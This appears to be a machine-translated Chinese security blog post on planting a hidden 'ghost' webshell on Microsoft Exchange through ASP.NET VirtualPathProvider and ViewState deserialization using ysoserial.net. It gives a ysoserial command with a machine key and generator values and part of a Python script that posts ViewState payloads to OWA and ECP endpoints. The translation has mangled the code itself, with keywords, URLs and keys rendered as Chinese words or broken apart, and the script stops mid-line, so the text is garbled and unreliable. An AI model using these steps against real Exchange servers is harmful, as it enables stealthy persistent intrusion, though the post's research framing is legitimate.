发布于2022年11月8日2年前 0x00 前言 通过ASP .网的虚拟路径提供者类能够创建虚拟文件,实现以下效果:虚拟文件不存在于服务器的文件系统,但是能够对其动态编译并提供访问服务。ysoserial.net的GhostWebShell.cs提供了一种可供学习的利用思路。 本文将要介绍虚拟文件的利用方法,在ysoserial.net的GhostWebShell.cs基础上介绍交换下的利用方法,开源代码,记录细节,给出防御建议。 0x01 简介 本文将要介绍以下内容: 虚拟路径提供者在交换下的利用 点网反序列化在交换下的利用 防御检测 0x02 VirtualPathProvider在Exchange下的利用 参考资料: https://份文件。微软。com/en-us/dot net/API/system。网络。托管。virtualpathprovider?view=netframework-4.8 在实现上需要继承虚拟路径提供者类并重写两个方法:文件存在和获取文件,注册虚拟路径提供者并创建实例后,实现虚拟文件的创建 示例代码: % @ Page Language=' c# ' AutoEventWireup=' true ' validate request=' false ' EnableViewStateMac=' false ' % %@导入名称空间='系统.网络。托管' % %@导入名称空间='系统.网络。编译' % %@导入名称空间='系统.IO' % %@导入名称空间='系统.反射' % %@导入名称空间='系统.'安全性。加密' % 注: 代码来自https://内核32。org/posts/avoiding-anti-virus-by-using-dynamic-code-generation-and-reflection/ 在交换上进行如下测试: 保存位置:% exchange installpath % \ FrontEnd \ http proxy \ OWA \ auth \ test1。aspx 访问网址:https:///OWA/auth/test1。aspx/延期。aspx,返回结果:即时编译:),虚拟文件被成功访问 注: 虚拟文件的可访问路径为:https:///owa/auth/test1.aspx/任意字符 创建虚拟文件时,会在临时目录下产生编译文件,默认位置:C:\Windows\Microsoft .NET \ Framework64 | Framework \ \临时ASP。网文件\owa\\\ 文件名称:test1.aspx.编辑 如果删除原文件test1.aspx,那么虚拟文件也随之失效,无法访问 通过这种方式实现的Webshell,虽然能够隐藏真实的文件内容,但是需要依赖文件,容易被清除,隐蔽性不够 而利用ysoserial.net的GhostWebShell.cs恰恰能够解决这个问题,提高隐蔽性。 0x03 DotNet反序列化的利用 参考代码: https://github。com/pwntester/yso串行。net/blob/master/exploit类/ghost web shell。铯 测试环境: 获得了交换文件读写权限,能够修改% exchange installpath % \ FrontEnd \ http proxy \ OWA \ web。配置和% exchange installpath % \ FrontEnd \ http proxy \ ECP \ web。配置,设置机器钥匙的内容如下: 对于这两个位置的。网反序列化命令执行,不再需要合法用户的凭据 这里选择% exchange installpath % \ FrontEnd \ http proxy \ OWA \ auth \ error Fe。aspx,对应的发电机为042A94E8 使用ysoserial.net生成视图状态的参数如下: yso serial . exe-p ViewState-g activity surrogateselectorfromfile-f los formatter-c ' ghost文件。cs;系统。Web.dll;system . dll "-validation g=' SHA1 '-validation key=' CB 2721阿布达F8 e9 DC 516d 621 D8 b 8 BF 13 a2 C9 e 8689 a 25303 BF '-generator=' 042 a94 e 8 ' 使用如下代码发送视图状态: #编码:UTF-8 导入请求 进口关于 导入系统 导入操作系统 导入json 导入urllib3 urllib3.disable_warnings() 从urllib.parse导入引号 导入urllib.parse if __name__=='__main__ ': if len(sys.argv)!=4: 注意="" 用法: :owa或工程更改程序 例如。 { 0 } 192 .168 .1 .1 CB 2721 Abd af8 e9 DC 516d 621 D8 b8 BF 13 a2 C9 e 8689 a 25303 BF OWA { 1 } mail.test.com CB 2721 Abd af 8 e 9 DC 516d 621d 8 b 8 BF 13 a2 C9 e 8689 a 25303 BF ECP ''' print(note.format(sys.argv[0],sys.argv[0])) sys.exit(0) 否则: targeturl= 生成器=""; 尝试: if sys.argv[3]=='owa ': targeturl=' https://' sys。argv[1]'/OWA/验证/错误Fe。aspx '; 发电机=' 042A94E8 elif sys.argv[3]=='ecp ': targeturl=' https://' sys。argv[1]'/ECP/验证/注销超时。aspx '; 发电机=' 277B1C2A 否则: 打印('[!]输入错误'); print('[*] TargetURL: ' targeturl ') out_payload=' ' body={ ' _ _ VIEWSTATEGENERATOR ':generator,' __VIEWSTATE': out_payload} postData=urllib。解析。urlencode(正文).编码(“utf-8”) 标题={ 用户代理:' Mozilla/5.0(Windows NT 6.3;win 64x 64)apple WebKit/537.36(KHTML,像壁虎一样)Chrome/81。0 .4044 .129 Safari/537.36
创建帐户或登录后发表意见